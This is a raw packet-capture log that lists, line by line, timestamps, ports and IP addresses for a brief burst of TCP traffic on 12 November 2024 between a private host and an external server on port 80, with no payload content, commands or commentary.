Nov 12, 2024 05:03:08.949796915 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949801922 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949822903 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949834108 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949839115 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949846029 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949853897 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949857950 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949868917 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949881077 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949891090 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949894905 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949902058 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949913025 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949932098 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949932098 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949943066 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949954987 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949965000 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949985981 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949990988 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950025082 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950098991 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950109959 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950122118 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950138092 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950139046 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950150013 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950160027 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950160980 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950172901 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950172901 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950196981 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950221062 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950253963 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950265884 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950275898 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950288057 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950288057 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950299025 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950304985 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950313091 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950325012 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950330019 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950341940 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950346947 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950355053 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950366974 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950372934 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950392962 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950401068 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950404882 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950417995 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950427055 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950427055 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950444937 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950448990 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950457096 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950468063 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950478077 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950481892 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950488091 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950499058 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950503111 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950510979 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950522900 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950534105 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950534105 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950541019 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950572968 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950581074 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950592041 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950602055 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950623035 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950644970 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950654984 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950664997 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950670004 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950680017 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950690985 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950701952 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950706005 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950715065 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950742960 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950798035 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950809002 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950819016 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950833082 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950834990 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950845957 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950856924 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950862885 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950874090 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950881958 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950886011 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950896978 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950898886 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950908899 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950922966 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950953007 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.950980902 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.950990915 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951000929 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951013088 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951020956 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951025009 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951036930 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951046944 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951047897 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951060057 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951061964 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951071024 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951080084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951097965 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951122999 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951128960 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951139927 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951148987 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951159954 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951170921 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951174974 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951174974 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951180935 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951193094 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951205969 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951212883 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951215029 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951222897 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951226950 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951239109 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951245070 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951251030 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951261997 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951273918 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951297998 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951360941 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951371908 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951381922 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951392889 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951402903 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951402903 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951414108 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951416969 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951435089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951446056 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951452017 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951459885 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951463938 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951472044 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951481104 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951483965 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951497078 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951507092 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951508045 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951519012 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951529980 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951534986 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951541901 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.951550961 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951565981 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.951597929 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.952162981 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.952205896 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.952236891 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.952276945 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.985682964 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.985726118 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.985737085 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.985745907 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.985750914 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.985780001 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.985816956 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986249924 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986301899 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986308098 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986319065 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986352921 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986354113 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986366987 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986375093 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986377954 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986393929 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986414909 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986498117 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986507893 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986516953 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986538887 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986541986 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986562967 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986593962 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986659050 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986670971 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986680984 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986691952 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986702919 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986713886 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986721039 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986726046 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986735106 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986737967 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986752033 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986774921 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986780882 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986807108 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986819029 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986819029 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986831903 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986846924 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986851931 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986856937 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986865997 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986874104 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986876965 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986890078 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986891985 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986903906 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986910105 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986916065 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986936092 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986942053 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986955881 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986957073 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986969948 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986980915 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986985922 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.986993074 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.986995935 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.987016916 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.987029076 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.987034082 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.987040043 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.987051964 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.987054110 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.987065077 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.987077951 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.987121105 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.061362028 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.061374903 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.061496019 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.061506987 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.061517954 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.061572075 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.061572075 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062606096 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062632084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062654972 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062659979 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062669039 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062680006 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062690973 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062695026 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062716961 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062737942 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062748909 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062748909 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062772989 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062799931 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062819004 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062861919 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062891960 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062902927 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062912941 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062938929 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062966108 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062968969 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.062977076 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.062987089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063009024 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063010931 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063019037 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063030958 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063035965 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063049078 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063055038 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063065052 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063071966 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063076019 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063086033 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063097000 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063102007 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063110113 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063127041 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063143015 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063150883 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063169956 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063183069 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063201904 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063214064 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063225031 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063241959 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063261986 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063275099 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063286066 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063294888 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063304901 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063308954 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063347101 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063374043 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063390970 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063401937 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063412905 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063412905 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063426018 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063452005 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063478947 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063483000 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063493967 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063503981 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063517094 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063524008 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063535929 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063535929 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063548088 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063560009 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063560009 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063572884 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063587904 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063622952 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063626051 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063638926 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063668013 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063690901 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063694954 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063719988 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063725948 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063761950 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063811064 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063822985 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063834906 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063848972 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063857079 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063870907 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063894987 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063931942 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063945055 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063955069 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.063971043 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063992977 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.063997030 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064007998 CET	80	49958	185.215.113.16	192.168.2.5
